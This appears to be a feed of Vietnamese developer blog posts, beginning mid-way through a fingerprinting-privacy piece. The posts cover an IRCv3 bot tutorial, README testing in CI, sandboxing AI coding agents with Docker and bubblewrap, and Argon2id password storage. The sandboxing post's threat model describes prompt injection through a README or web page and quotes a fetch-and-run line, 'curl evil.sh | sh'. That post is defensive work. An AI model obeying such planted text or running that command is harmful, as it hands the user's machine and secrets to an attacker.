Đây là phần dev hay bỏ qua. Ở Việt Nam, Nghị định 13/2023/NĐ-CP về bảo vệ dữ liệu cá nhân đã có hiệu lực, và Luật Bảo vệ dữ liệu cá nhân 2025 tiếp tục siết chặt hơn. Ở EU thì GDPR và ePrivacy Directive coi fingerprinting là xử lý dữ liệu cá nhân, cần consent giống hệt cookie. Nếu sản phẩm của bạn có user châu Âu thì đừng nghĩ fingerprint là cách lách cookie banner.

Vài nguyên tắc mình áp dụng:

Purpose limitation: chỉ dùng fingerprint ở các flow nhạy cảm như login, checkout, đổi mật khẩu, tạo tài khoản hàng loạt. Không gửi sang analytics hay ad network.
Fingerprint là tín hiệu, không phải danh tính: dùng như một input cho risk score. Fingerprint mới + IP lạ + đăng nhập lúc 3h sáng thì mới bật 2FA challenge, đừng block cứng chỉ vì fingerprint đổi.
Retention ngắn: lưu hash, đặt TTL 30-90 ngày, không lưu raw canvas data.
Audit SDK bên thứ ba: mở DevTools, tab Network/Sources, search toDataURL, getImageData, UNMASKED_RENDERER, OfflineAudioContext. Nhiều SDK chat, analytics, A/B testing đang fingerprint user mà team không biết.
Đừng phạt user quan tâm privacy: người dùng Brave, Firefox RFP, Safari sẽ có fingerprint thay đổi liên tục. Nếu hệ thống coi đó là bot thì bạn đang chặn nhầm chính những user cẩn thận nhất.

Kết luận

Cookie đang chết dần, fingerprinting đang lên, và nó vô hình với user hơn nhiều. Là developer, bạn nên:

Hiểu cơ chế: chạy đoạn JS ở trên trên vài trình duyệt khác nhau, so sánh kết quả để thấy tận mắt độ ổn định của từng tín hiệu.
Kết hợp nhiều tầng: JS fingerprint dễ giả, header và JA4 ở tầng network khó giả hơn. Dùng cả hai cho bài toán chống bot.
Audit code và SDK: grep codebase và bundle production tìm các API canvas, WebGL, audio. Biết chính xác ai đang thu thập gì.
Tuân thủ pháp lý: coi fingerprint là dữ liệu cá nhân, ghi rõ trong privacy policy, xin consent khi cần, đặt TTL.
Test với trình duyệt privacy-focused: đảm bảo Firefox RFP, Brave, Safari không bị hệ thống chống fraud của bạn chặn nhầm.

Fingerprinting là con dao hai lưỡi. Dùng để chặn credential stuffing thì rất hiệu quả, còn dùng để theo dõi user khắp nơi thì sớm muộn cũng bị trình duyệt chặn, bị luật phạt, và mất niềm tin của user.

IRCv3 in Practice: Build a Modern IRC Bot with Capability Negotiation, SASL and Message Tags in Python

EME GUG — Mon, 12 Oct 2026 00:22:19 +0000

Hôm nay IRCv3 lên top Hacker News với hơn 300 điểm. Nhiều người nghĩ IRC là giao thức của thập niên 90 và đã "chết" từ khi có Slack hay Discord. Thực tế thì cộng đồng open source vẫn dùng IRC rất nhiều: Libera.Chat, OFTC, các kênh của Debian, Arch, Python... Điều ít người biết là IRC đã được "hiện đại hóa" khá kỹ qua bộ spec IRCv3. Nó có message tags, timestamp từ phía server, SASL authentication, chat history, và không làm mất backward compatibility với các client cũ.

Mình từng viết bot IRC kiểu cũ: mở socket, gửi NICK/USER, rồi parse bằng regex. Bot chạy được, nhưng gặp đủ chuyện: identify với NickServ bị race condition, log sai giờ vì dùng giờ local, không phân biệt được tin nhắn do chính mình gửi. IRCv3 giải quyết gọn mấy vấn đề này. Bài này mình sẽ đi từ raw protocol tới một bot Python asyncio khoảng 60 dòng, không dùng thư viện ngoài.

1. IRCv3 là gì, và vì sao đáng học

IRCv3 không phải giao thức mới. Nó là một tập extension gắn thêm lên RFC 1459/2812. Cơ chế cốt lõi là capability negotiation (CAP): client hỏi server hỗ trợ những gì, chỉ bật thứ nó cần, và server cũ không hiểu CAP thì vẫn chạy như bình thường.

Mấy capability mình thấy đáng dùng nhất:

sasl: xác thực trước khi đăng ký xong, nên không còn cảnh join kênh trước rồi mới identify.
server-time: mỗi message kèm tag time=2026-10-12T03:15:00.000Z, ở chuẩn UTC. Rất cần khi ghi log.
message-tags: metadata dạng key-value ở đầu message, là nền cho reply, reaction, msgid.
echo-message: server gửi lại message của chính mình, nhờ vậy bạn biết message đã thực sự được gửi đi.
batch và chathistory: gom nhiều message thành một nhóm, lấy lại lịch sử chat.

Bài học rộng hơn ở đây là cách thiết kế protocol: thêm tính năng mới qua negotiation, đừng bump version rồi làm hỏng client cũ. Pattern này cũng áp dụng được khi bạn thiết kế API nội bộ hay WebSocket protocol.

2. Xem tận mắt quá trình negotiation

Trước khi viết code, nên nói chuyện trực tiếp với server một lần. Dùng openssl (bản 3.x có sẵn trên macOS/Linux):

# Kết nối TLS tới Libera.Chat, port 6697
openssl s_client -connect irc.libera.chat:6697 -quiet

# Gõ tay từng dòng sau khi kết nối:
CAP LS 302
NICK vn_dev_test
USER vn_dev_test 0 * :Test

# Server trả về dạng:
# :server CAP * LS :account-notify away-notify batch chghost echo-message
#   extended-join invite-notify message-tags multi-prefix sasl=PLAIN,EXTERNAL
#   server-time ...

CAP REQ :server-time message-tags
# :server CAP vn_dev_test ACK :server-time message-tags

CAP END
# Lúc này server mới gửi 001 Welcome

Có vài điểm cần để ý:

CAP LS 302 báo cho server biết client hỗ trợ CAP version 302. Với version này, server có thể trả giá trị cho capability (ví dụ sasl=PLAIN,EXTERNAL) và tách danh sách thành nhiều dòng. Dòng nào còn tiếp thì có dấu * trước danh sách.
Khi bạn đã gửi CAP LS, server sẽ giữ lại quá trình registration cho tới khi bạn gửi CAP END. Nhờ vậy SASL mới chạy được trước khi vào mạng.

sequenceDiagram
    participant C as Client
    participant S as Server
    C->>S: CAP LS 302
    C->>S: NICK / USER
    S-->>C: CAP * LS :sasl server-time ...
    C->>S: CAP REQ :sasl server-time message-tags
    S-->>C: CAP * ACK :sasl server-time message-tags
    C->>S: AUTHENTICATE PLAIN
    S-->>C: AUTHENTICATE +
    C->>S: AUTHENTICATE base64 credentials
    S-->>C: 903 SASL successful
    C->>S: CAP END
    S-->>C: 001 Welcome

3. Parse message có tags, đúng spec

Một message IRCv3 đầy đủ trông như sau:

@time=2026-10-12T03:15:00.000Z;msgid=abc123 :andy!~a@host PRIVMSG #python :xin chào

Cấu trúc gồm: @tags (tùy chọn), :prefix (tùy chọn), command, params, và trailing param bắt đầu bằng :. Chỗ nhiều người làm sai là escaping trong tag value: \: là ;, \s là dấu cách, \\ là backslash, \r và \n là CR/LF. Backslash đứng cuối chuỗi thì bỏ đi. Escape không hợp lệ thì giữ lại ký tự phía sau.

ESC = {':': ';', 's': ' ', '\\': '\\', 'r': '\r', 'n': '\n'}

def unescape(v: str) -> str:
    out, i = [], 0
    while i < len(v):
        if v[i] == '\\':
            if i + 1 < len(v):
                out.append(ESC.get(v[i + 1], v[i + 1]))
            i += 2
        else:
            out.append(v[i])
            i += 1
    return ''.join(out)

def parse(line: str):
    tags, prefix = {}, None
    if line.startswith('@'):
        raw, line = line[1:].split(' ', 1)
        for item in raw.split(';'):
            k, _, v = item.partition('=')
            tags[k] = unescape(v)
    if line.startswith(':'):
        prefix, line = line[1:].split(' ', 1)
    if ' :' in line:
        line, trailing = line.split(' :', 1)
        params = line.split() + [trailing]
    else:
        params = line.split()
    return tags, prefix, params[0].upper(), params[1:]

# Test nhanh
print(parse('@time=2026-10-12T03:15:00.000Z;note=a\\sb :x!y@z PRIVMSG #c :hi there'))
# ({'time': '2026-10-12T03:15:00.000Z', 'note': 'a b'}, 'x!y@z', 'PRIVMSG', ['#c', 'hi there'])

Đừng dùng regex cho phần này. Parser viết tay ngắn hơn, dễ test hơn, và xử lý được edge case như tag không có value (+typing hay draft/bot).

4. Bot asyncio hoàn chỉnh với SASL

Bot dưới đây chạy với Python 3.10 trở lên, chỉ dùng stdlib. Nó xử lý toàn bộ flow: negotiation, SASL PLAIN, join kênh, rồi in message kèm timestamp từ server.

flowchart LR
    A[TLS socket] --> B[readline]
    B --> C[parse tags/prefix/cmd]
    C --> D{Command}
    D -->|CAP/AUTHENTICATE| E[Negotiation state]
    D -->|PING| F[PONG]
    D -->|PRIVMSG| G[Handler + server-time]
    E --> H[writer.drain]
    F --> H
    G --> H

import asyncio, base64, os, ssl

HOST, PORT = 'irc.libera.chat', 6697
NICK = os.environ.get('IRC_NICK', 'vn_dev_bot')
PASSWORD = os.environ['IRC_PASSWORD']  # đừng hardcode
WANTED = {'sasl', 'server-time', 'message-tags', 'echo-message'}

async def main():
    reader, writer = await asyncio.open_connection(
        HOST, PORT, ssl=ssl.create_default_context())
    send = lambda s: writer.write((s + '\r\n').encode())
    send('CAP LS 302')
    send(f'NICK {NICK}')
    send(f'USER {NICK} 0 * :{NICK}')
    available = set()

    while raw := await reader.readline():
        line = raw.decode(errors='replace').rstrip('\r\n')
        tags, prefix, cmd, params = parse(line)

        if cmd == 'PING':
            send(f'PONG :{params[-1]}')
        elif cmd == 'CAP' and params[1] == 'LS':
            available |= {c.split('=')[0] for c in params[-1].split()}
            if params[2] != '*':  # dòng LS cuối cùng
                send('CAP REQ :' + ' '.join(sorted(WANTED & available)))
        elif cmd == 'CAP' and params[1] == 'ACK':
            send('AUTHENTICATE PLAIN' if 'sasl' in params[-1].split() else 'CAP END')
        elif cmd == 'CAP' and params[1] == 'NAK':
            send('CAP END')
        elif cmd == 'AUTHENTICATE' and params[0] == '+':
            cred = f'{NICK}\0{NICK}\0{PASSWORD}'.encode()
            send('AUTHENTICATE ' + base64.b64encode(cred).decode())
        elif cmd in ('903', '904', '905'):  # SASL ok / fail
            print('SASL:', params[-1])
            send('CAP END')
        elif cmd == '001':
            send('JOIN #vn-dev-test')
        elif cmd == 'PRIVMSG':
            who = prefix.split('!')[0]
            print(f"[{tags.get('time', '?')}] {params[0]} <{who}> {params[-1]}")
            if params[-1] == '!ping' and who != NICK:
                send(f'PRIVMSG {params[0]} :pong')
        await writer.drain()

asyncio.run(main())

Chạy thử:

export IRC_PASSWORD='mat-khau-nickserv'
nohup python3 bot.py > bot.log 2>&1 &
tail -f bot.log

Có vài lưu ý từ kinh nghiệm thực tế:

Phải gửi CAP END trong mọi nhánh, kể cả khi SASL fail (904). Nếu quên, server sẽ treo registration và tự ngắt kết nối sau khoảng 30-60 giây. Đây là bug phổ biến nhất.
Payload SASL PLAIN có dạng authzid\0authcid\0password. Nếu payload dài hơn 400 byte, bạn phải chia thành nhiều chunk. Password bình thường thì không cần lo chuyện này.
Có echo-message thì message của bot cũng quay về qua PRIVMSG. Vì vậy cần check who != NICK, nếu không bot sẽ tự trả lời chính nó và bị flood.
Nếu chạy production, hãy dùng SASL EXTERNAL với client certificate thay cho password. Libera.Chat hỗ trợ phương thức này qua CertFP.

Kết luận

IRCv3 là ví dụ đẹp về cách nâng cấp một giao thức 30 năm tuổi mà không làm hỏng hệ sinh thái. Những gì bạn nên làm ngay:

Thử raw protocol bằng openssl s_client trước khi viết code. Mất 5 phút nhưng bạn sẽ hiểu flow rõ hơn nhiều so với đọc tài liệu.
Luôn bắt đầu bằng CAP LS 302 và chỉ REQ những capability mà server thực sự có. Phải xử lý cả LS nhiều dòng lẫn NAK.
Dùng SASL thay cho PRIVMSG NickServ IDENTIFY. Cách này hết race condition, và một số mạng bắt buộc SASL với dải IP từ cloud.
Lấy timestamp từ tag server-time, đừng dùng datetime.now(). Log sẽ đúng giờ UTC, kể cả khi nhận lại message cũ qua bouncer.
Viết parser riêng có unit test cho tag escaping. Đây là chỗ dễ sinh bug nhất và cũng dễ test nhất.
Mang tư duy capability negotiation vào protocol của chính bạn: client và server thỏa thuận tính năng, không ai giả định ai đó đã được nâng cấp.

Bot 60 dòng ở trên đủ làm nền cho notifier CI/CD, bot alert server, hoặc bridge sang Telegram. Nó không cần SDK hay vendor lock-in nào, chỉ cần TCP, TLS và một spec mở.

Your README Is Lying to You: Test Your Onboarding Docs Like You Test Code

EME GUG — Sun, 11 Oct 2026 14:22:48 +0000

Tuần này trên Hacker News có một bài lên top khá thú vị: tác giả trả tiền cho người lạ chỉ để họ làm theo README của project. Kết quả đúng như dự đoán: rất nhiều người kẹt ngay từ mấy bước đầu. Đọc xong mình thấy hơi nhột, vì mình cũng từng viết README kiểu \"chạy make setup là xong\", trong khi thực tế máy mình đã cài sẵn 7 thứ mà mình quên mất. Nếu bạn maintain một open source project, một internal tool hay chỉ là repo cho team mới vào, thì README chính là trải nghiệm đầu tiên của người dùng. Bài này chia sẻ cách mình test README một cách có hệ thống: từ test thủ công với người thật cho đến tự động hoá trong CI.

Tại sao README luôn \"mục\" theo thời gian

Code có test, có type checker, có linter. README thì không có gì cả. Nên nó hỏng âm thầm theo vài kiểu quen thuộc:

Implicit dependency: bạn cài jq, pnpm, Docker từ 2 năm trước nên quên không ghi vào phần Prerequisites.
Version drift: README ghi Node 16, còn package.json đã yêu cầu >=20.11 từ lâu.
Bước bị bỏ qua: thiếu cp .env.example .env, nên app crash với một lỗi chẳng ai hiểu nổi.
Lệnh đã đổi tên: script npm run dev đã đổi thành npm run start:dev sau một lần refactor.

Vấn đề cốt lõi là người viết README là người duy nhất không thể test nó, vì máy của bạn đã ở trạng thái \"mọi thứ đều chạy\". Muốn test được README, bạn cần một môi trường sạch: một người khác, hoặc một container trắng tinh.

flowchart LR
    A[Dev viết README] --> B[Máy dev đã có sẵn tool]
    B --> C[Test thấy OK]
    C --> D[Người mới clone repo]
    D --> E{Thiếu dependency?}
    E -->|Có| F[Kẹt, bỏ cuộc]
    E -->|Không| G[Chạy được]

Bước 1: Test thủ công với người thật và ghi friction log

Không cần trả tiền cho người lạ như tác giả bài HN. Mình hay làm thế này: nhờ một bạn trong team chưa từng đụng vào repo (hoặc intern mới), đưa link README, rồi ngồi im quan sát. Luật chơi rất đơn giản:

Người test chỉ được đọc README, không được hỏi mình.
Người test vừa làm vừa nói ra suy nghĩ (think-aloud).
Mình chỉ ghi chép, tuyệt đối không nhắc.

Đoạn khó nhất là ngồi im khi thấy người ta loay hoay. Nhưng chính những lúc đó mới lộ ra lỗ hổng. Mình ghi lại vào một file friction-log.md theo format sau:

| Thời điểm | Bước trong README | Chuyện gì xảy ra | Mức độ |
|-----------|-------------------|------------------|--------|
| 02:10 | Install | Không biết cần Python 3.12, máy có 3.9 | Blocker |
| 05:45 | Config | Không biết lấy API_KEY ở đâu | Blocker |
| 09:30 | Run | Port 8080 bị chiếm, không có hướng dẫn đổi port | Minor |

Một buổi 30 phút thường cho mình 5-10 vấn đề. Mấy dòng Blocker phải fix ngay. Những chỗ Minor thì gom lại thành một mục Troubleshooting ở cuối README.

Bước 2: Biến README thành thứ chạy được

Test với người thật thì tốn công, không làm mỗi tuần được. Nên mình tự động hoá phần có thể tự động: các lệnh shell trong README. Ý tưởng là đánh dấu những code block cần test bằng một tag riêng trong info string của fence, ví dụ bash readme-test. GitHub vẫn highlight là bash bình thường vì nó chỉ đọc từ đầu tiên.

Sau đó viết một script Python nhỏ để extract và chạy chúng:

#!/usr/bin/env python3
# scripts/readme_runner.py
import re
import subprocess
import sys
from pathlib import Path

FENCE = '`' * 3
BLOCK_RE = re.compile(FENCE + r'bash readme-test\n(.*?)' + FENCE, re.DOTALL)


def extract_blocks(path: str) -> list[str]:
    text = Path(path).read_text(encoding='utf-8')
    return BLOCK_RE.findall(text)


def main() -> None:
    readme = sys.argv[1] if len(sys.argv) > 1 else 'README.md'
    blocks = extract_blocks(readme)
    if not blocks:
        print('Không tìm thấy block readme-test nào')
        sys.exit(1)

    for i, block in enumerate(blocks, 1):
        print(f'--- Block {i} ---\n{block}')

    # Gộp tất cả block vào MỘT shell để giữ cd, export... giữa các bước
    script = 'set -euxo pipefail\n' + '\n'.join(blocks)
    result = subprocess.run(['bash', '-c', script])
    sys.exit(result.returncode)


if __name__ == '__main__':
    main()

Điểm quan trọng: chạy tất cả block trong cùng một shell session. Người dùng thật cũng gõ lệnh liên tiếp trong một terminal, nên cd hay export ở bước 2 phải còn hiệu lực ở bước 5. Flag set -euxo pipefail giúp script dừng ngay ở lệnh đầu tiên bị fail và in từng lệnh ra để dễ debug.

Nhưng nếu chạy script này trên máy bạn thì vẫn vô nghĩa, vì máy bạn đã có sẵn mọi thứ. Phải chạy trong container trắng:

# Chỉ cài đúng những gì README ghi ở phần Prerequisites, không hơn
docker run --rm -v \"$PWD\":/src:ro ubuntu:24.04 bash -c '
  apt-get update -qq
  apt-get install -y -qq python3 git curl > /dev/null
  cp -r /src /work && cd /work
  python3 scripts/readme_runner.py README.md
'

Mount repo ở chế độ :ro rồi copy sang /work để script không ghi bậy vào thư mục thật của bạn. Nếu README nói prerequisites là Python, git và curl, thì container chỉ được có đúng chừng đó. Lần đầu chạy, mình gần như chắc chắn bạn sẽ thấy nó fail ở chỗ bạn không ngờ tới.

Bước 3: Đưa vào CI để README không mục lại

Fix một lần chưa đủ, README sẽ hỏng lại ngay sau vài sprint. Cho nó chạy trong GitHub Actions, trigger khi README đổi và chạy định kỳ hàng tuần để bắt các lỗi do upstream thay đổi (package bị yank, install script đổi URL...):

# .github/workflows/readme-test.yml
name: readme-test
on:
  pull_request:
    paths: ['README.md', 'docs/**', 'package.json', 'pyproject.toml']
  schedule:
    - cron: '0 2 * * 1'   # 2h sáng thứ Hai, UTC
  workflow_dispatch:

jobs:
  readme:
    runs-on: ubuntu-24.04
    container: ubuntu:24.04
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v4
      - name: Prerequisites đúng như README
        run: apt-get update && apt-get install -y python3 git curl
      - name: Chạy các bước trong README
        run: python3 scripts/readme_runner.py README.md

Để ý là mình thêm package.json và pyproject.toml vào paths. Khi ai đó bump version runtime mà quên sửa README, CI sẽ đỏ ngay trong PR đó, đúng lúc người sửa còn nhớ context.

flowchart TD
    A[PR sửa README hoặc dependency] --> C[GitHub Actions]
    B[Cron hàng tuần] --> C
    C --> D[Container ubuntu 24.04 sạch]
    D --> E[readme_runner.py]
    E --> F{Pass?}
    F -->|Có| G[Merge]
    F -->|Không| H[Sửa README trước khi merge]

Vài lưu ý thực tế khi áp dụng:

Lệnh cần secret (API key, login cloud): đừng tag readme-test, hoặc dùng mock/env giả trong CI.
Lệnh chạy server lâu: tách ra, chạy background rồi curl --retry 10 --retry-connrefused localhost:8080/health để verify, sau đó kill.
Hướng dẫn cho macOS/Windows: CI Linux không cover được, nên vẫn cần test thủ công định kỳ.

Kết luận

README là một phần của sản phẩm, không phải phụ lục. Một người kẹt ở bước 2 thì sẽ không bao giờ thấy được tính năng xịn nhất của bạn ở bước 10. Những việc bạn có thể làm ngay trong tuần này:

Làm 1 buổi test 30 phút với một đồng nghiệp chưa từng đụng repo. Ngồi im, ghi friction log.
Fix hết các Blocker trong log, nhất là implicit dependency và version runtime.
Tag các code block quan trọng bằng bash readme-test và chạy readme_runner.py trong ubuntu:24.04 sạch.
Thêm workflow CI trigger theo cả PR lẫn cron hàng tuần.
Lặp lại test với người thật mỗi quý hoặc mỗi lần có thay đổi lớn về setup.

Công sức bỏ ra chỉ khoảng nửa ngày, nhưng sẽ tiết kiệm cho bạn hàng chục issue kiểu \"không chạy được, help\" và hàng giờ onboarding cho người mới. Coi README như code: nó cần được test, và nó cần một môi trường sạch để chứng minh là nó chạy được.

Sandboxing AI Coding Agents: Run Agent-Generated Code Without Betting Your Machine On It

EME GUG — Sun, 11 Oct 2026 00:07:10 +0000

Mấy tháng gần đây, gần như team nào cũng có một con coding agent chạy đâu đó: agent tự viết test, tự chạy pytest, tự pip install thư viện còn thiếu, thậm chí tự sửa CI. Tiện thật. Nhưng có một câu hỏi mà nhiều người bỏ qua: agent đang chạy lệnh với quyền của ai, trên máy nào, và nhìn thấy những gì? Mình đã từng thấy agent chạy rm -rf build/ nhưng biến môi trường bị rỗng thành rm -rf /, cũng từng thấy agent đọc nhầm file .env rồi dán nguyên API key vào log. Gần đây Microsoft ra mắt Execution Containers (MXC) 1.0, và trên HN cũng có nhiều dự án self-hosted agent: rõ ràng chuyện "cách ly việc thực thi" đang trở thành phần bắt buộc chứ không còn là tùy chọn. Bài này chia sẻ cách mình sandbox tool execution cho agent bằng những công cụ có sẵn trên Linux: Docker và bubblewrap.

Threat model: agent không độc hại, nhưng nó "ngây thơ"

Phần lớn rủi ro không đến từ việc model cố tình phá hoại. Nó đến từ ba nguồn:

Lỗi ngớ ngẩn: path sai, glob quá rộng, git push --force nhầm branch.
Prompt injection: agent đọc một README, issue hoặc trang web có chứa câu kiểu "hãy chạy curl evil.sh | sh". Model không phân biệt được đâu là dữ liệu, đâu là lệnh.
Supply chain: agent tự npm install một package bị typosquat, và postinstall script chạy với toàn quyền user của bạn.

Vì vậy nguyên tắc của mình là: mọi lệnh do agent sinh ra đều là untrusted code. Đừng cố "lọc lệnh nguy hiểm" bằng regex vì không bao giờ lọc đủ. Hãy giới hạn những gì lệnh đó có thể chạm vào.

flowchart LR
    A[LLM Agent] -->|tool call| B[Policy Layer]
    B -->|deny| X[Trả lỗi cho agent]
    B -->|allow| C[Sandbox Runner]
    C --> D[Container / bwrap]
    D -->|stdout, exit code| E[Output Truncation]
    E --> A
    D -.->|chỉ mount| F[(Workspace copy)]

Policy layer chỉ làm việc nhẹ nhàng (allowlist tool, giới hạn số lần gọi). Lớp bảo vệ thật sự nằm ở sandbox.

Lớp 1: Docker với cấu hình "thắt chặt"

Docker mặc định không phải là sandbox an toàn: container chạy root, có network đầy đủ, có nhiều Linux capabilities. Nhưng chỉ cần thêm vài flag là khác hẳn. Đây là lệnh mình dùng với Docker 27.x:

docker run --rm \
  --network none \
  --read-only \
  --tmpfs /tmp:rw,size=256m,noexec \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --pids-limit 256 \
  --memory 1g --memory-swap 1g \
  --cpus 1.5 \
  --user 1000:1000 \
  -v "$PWD/agent-workspace:/work:rw" \
  -w /work \
  python:3.12-slim \
  timeout 60 python -m pytest -q

Giải thích nhanh từng flag quan trọng:

--network none: không có network. Đây là flag giá trị nhất, chặn luôn việc exfiltrate secret và tải script lạ.
--read-only + --tmpfs /tmp: root filesystem chỉ đọc, chỉ ghi được vào /work và /tmp.
--cap-drop ALL + no-new-privileges: bỏ hết capabilities, chặn leo quyền qua setuid binary.
--pids-limit 256: chống fork bomb. Agent viết vòng lặp sinh process vô hạn là chuyện có thật.
--user 1000:1000: không chạy root trong container.
-v agent-workspace: mount một bản copy của repo, không mount thư mục gốc. Agent làm hỏng thì git diff rồi quyết định có merge vào hay không.

Nếu agent cần cài package thì sao? Mình tách thành hai pha: pha install có network nhưng chỉ chạy lệnh cài đặt từ lockfile (pip install -r requirements.txt --require-hashes, npm ci --ignore-scripts), sau đó pha execute thì --network none. Agent không được tự chọn package ở pha có network.

Lớp 2: bubblewrap khi Docker quá nặng

Khởi động container mất khoảng 300-800ms. Nếu agent gọi tool vài trăm lần mỗi task thì độ trễ cộng dồn khá đáng kể. Lúc đó mình dùng bubblewrap (bwrap 0.9+), chính là công cụ Flatpak dùng bên dưới. Nó tạo namespace riêng mà không cần daemon, không cần root, khởi động gần như tức thì:

#!/usr/bin/env bash
# run-sandboxed.sh - chạy 1 lệnh trong bwrap, chỉ thấy workspace
set -euo pipefail
WORKDIR="$(realpath "$1")"; shift

exec bwrap \
  --ro-bind /usr /usr \
  --symlink usr/lib /lib \
  --symlink usr/lib64 /lib64 \
  --symlink usr/bin /bin \
  --ro-bind /etc/alternatives /etc/alternatives \
  --proc /proc \
  --dev /dev \
  --tmpfs /tmp \
  --tmpfs /home \
  --bind "$WORKDIR" /work \
  --chdir /work \
  --unshare-all \
  --die-with-parent \
  --new-session \
  --clearenv \
  --setenv PATH /usr/bin \
  --setenv HOME /home \
  timeout 60 "$@"

Những điểm cần chú ý:

--unshare-all tách luôn network namespace, nên mặc định không có mạng (thêm --share-net nếu thật sự cần).
--tmpfs /home khiến ~/.ssh, ~/.aws, ~/.config/gh không tồn tại trong sandbox. Đây là chỗ hay bị rò rỉ nhất.
--clearenv xóa toàn bộ biến môi trường. Rất nhiều người quên rằng OPENAI_API_KEY, GITHUB_TOKEN nằm sẵn trong env của process agent.
--new-session chặn tấn công TIOCSTI inject ký tự vào terminal cha.

Trên Ubuntu 24.04, AppArmor có thể chặn unprivileged user namespace; khi đó cần thêm profile cho bwrap hoặc chạy trong VM. Trên macOS thì không có bwrap, bạn dùng Docker Desktop hoặc sandbox-exec (đã deprecated nhưng vẫn chạy được).

Lớp 3: Wrapper trong code agent

Cuối cùng là kết nối sandbox vào vòng lặp agent. Hàm dưới đây là tool run_shell mình đưa cho agent, có timeout, cắt output và trả exit code rõ ràng để model tự sửa:

import subprocess
from pathlib import Path

MAX_OUTPUT = 8_000  # ký tự, tránh làm nổ context window
SANDBOX = Path(__file__).parent / "run-sandboxed.sh"

def run_shell(cmd: str, workspace: str, timeout: int = 90) -> dict:
    """Tool cho agent: chạy lệnh shell trong sandbox."""
    try:
        proc = subprocess.run(
            [str(SANDBOX), workspace, "bash", "-c", cmd],
            capture_output=True,
            text=True,
            timeout=timeout,
        )
    except subprocess.TimeoutExpired:
        return {"exit_code": -1, "output": f"TIMEOUT sau {timeout}s"}

    out = proc.stdout + proc.stderr
    if len(out) > MAX_OUTPUT:
        half = MAX_OUTPUT // 2
        out = out[:half] + "\n...[đã cắt bớt]...\n" + out[-half:]
    return {"exit_code": proc.returncode, "output": out}

Vì sao giữ cả đầu và cuối output? Với lỗi build, thông tin quan trọng thường ở cuối (stack trace), còn lệnh test thì tóm tắt nằm ở đầu. Cắt ở giữa giúp agent vẫn thấy cả hai.

Luồng xử lý một task hoàn chỉnh trông như sau:

sequenceDiagram
    participant H as Host
    participant A as Agent
    participant S as Sandbox
    H->>H: git worktree add /tmp/ws-123
    H->>A: task + workspace path
    loop Tool calls
        A->>S: run_shell(cmd)
        S-->>A: exit_code + output
    end
    A-->>H: done
    H->>H: git diff, review, merge hoặc xóa worktree

Dùng git worktree add để tạo workspace riêng cho mỗi task rất tiện: nhanh, nhẹ, và xóa sạch bằng git worktree remove --force khi agent làm hỏng.

Kết luận

Sandbox không làm agent thông minh hơn, nhưng nó biến những sai lầm "có thể mất cả máy" thành sai lầm "xóa worktree làm lại". Checklist mình khuyên áp dụng ngay:

Coi mọi lệnh agent sinh ra là untrusted code. Đừng dựa vào regex blacklist.
Tắt network mặc định (--network none hoặc --unshare-all). Chỉ mở ở pha cài đặt từ lockfile.
Không để secret lọt vào sandbox: --clearenv, không mount $HOME, không truyền token qua env.
Giới hạn tài nguyên: timeout, --pids-limit, --memory. Agent sẽ viết vòng lặp vô hạn, chỉ là sớm hay muộn.
Làm việc trên bản copy bằng git worktree, review diff trước khi merge.
Cắt output trước khi trả về model để tiết kiệm token và tránh tràn context.

Bắt đầu đơn giản: một script docker run với 6-7 flag ở trên đã chặn được phần lớn rủi ro thực tế. Khi thấy độ trễ là vấn đề thì chuyển sang bubblewrap. Còn khi cần cách ly ở mức kernel (chạy code của người lạ, multi-tenant) thì lúc đó mới cần tính đến gVisor hoặc Firecracker microVM.

Your Users Will Pick '123456': Password Storage and Breached-Password Checks Done Right

EME GUG — Sat, 10 Oct 2026 16:43:52 +0000

Tuần này HN có một thread hơn 300 điểm về vụ rò rỉ dữ liệu CPR ở Đan Mạch, và chi tiết khiến ai cũng thở dài là: mật khẩu 123456 nằm ngay trong câu chuyện. Năm 2026 rồi mà vẫn vậy. Đọc comment thì thấy phần lớn mọi người đổ lỗi cho user. Mình thì nghĩ khác: user sẽ luôn chọn 123456, việc của developer là làm sao để hệ thống không chấp nhận nó và không để lộ nó khi bị dump database. Bài này mình chia sẻ cách mình xử lý password trong các dự án thực tế: hash bằng Argon2id, chặn password đã bị lộ bằng k-anonymity, và migrate hash cũ mà không bắt user đổi mật khẩu.

1. Ngừng tự chế, dùng Argon2id với tham số đúng

Mình vẫn gặp codebase ở Việt Nam lưu md5(password) hoặc sha256(password + salt). Vấn đề là MD5 hay SHA-256 được thiết kế để nhanh. Một con RTX 4090 có thể thử hàng chục tỷ MD5 mỗi giây. Khi database bị dump, mấy password yếu kiểu 123456, matkhau123, iloveyou sẽ bị crack trong vài giây.

Password hashing cần chậm và tốn RAM một cách có chủ đích. Lựa chọn hiện tại là Argon2id (thắng Password Hashing Competition, được OWASP khuyến nghị). Mức tối thiểu OWASP đưa ra: m=19 MiB, t=2, p=1. Nếu server dư RAM thì cứ tăng lên.

Với Python, mình dùng argon2-cffi:

# pip install argon2-cffi>=23.1.0
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError, InvalidHashError

# OWASP minimum: Argon2id, memory 19 MiB, 2 iterations, 1 lane
ph = PasswordHasher(time_cost=2, memory_cost=19456, parallelism=1)

def hash_password(plain: str) -> str:
    # Output dạng: $argon2id$v=19$m=19456,t=2,p=1$<salt>$<hash>
    return ph.hash(plain)

def verify_and_upgrade(stored_hash: str, plain: str, save_hash) -> bool:
    try:
        ph.verify(stored_hash, plain)
    except (VerifyMismatchError, InvalidHashError):
        return False
    # Nếu sau này tăng memory_cost, hash cũ sẽ tự được nâng cấp khi user login
    if ph.check_needs_rehash(stored_hash):
        save_hash(ph.hash(plain))
    return True

Điểm hay của format $argon2id$... là tham số và salt nằm luôn trong chuỗi hash. Bạn không cần cột salt riêng, và khi muốn tăng độ khó thì chỉ cần đổi config, check_needs_rehash lo phần còn lại.

Mẹo thực tế: benchmark trên đúng loại máy production. Mục tiêu là mỗi lần hash mất khoảng 200–500ms. Nhanh hơn thì tăng memory_cost, chậm quá thì endpoint login dễ bị DoS. Login endpoint luôn phải đi kèm rate limit.

2. Migrate hash cũ mà không bắt user reset password

Câu hỏi mình hay nhận: hệ thống có 2 triệu user đang dùng MD5, chẳng lẽ bắt reset hết? Không cần. Có hai giai đoạn:

flowchart TD
    A[User login] --> B{Loại hash trong DB?}
    B -->|argon2id| C[Verify Argon2id]
    B -->|wrapped md5| D[Verify argon2 của md5 password]
    D -->|OK| E[Hash lại bằng Argon2id thuần]
    E --> F[Cập nhật DB]
    C -->|OK| G[Login thành công]
    F --> G
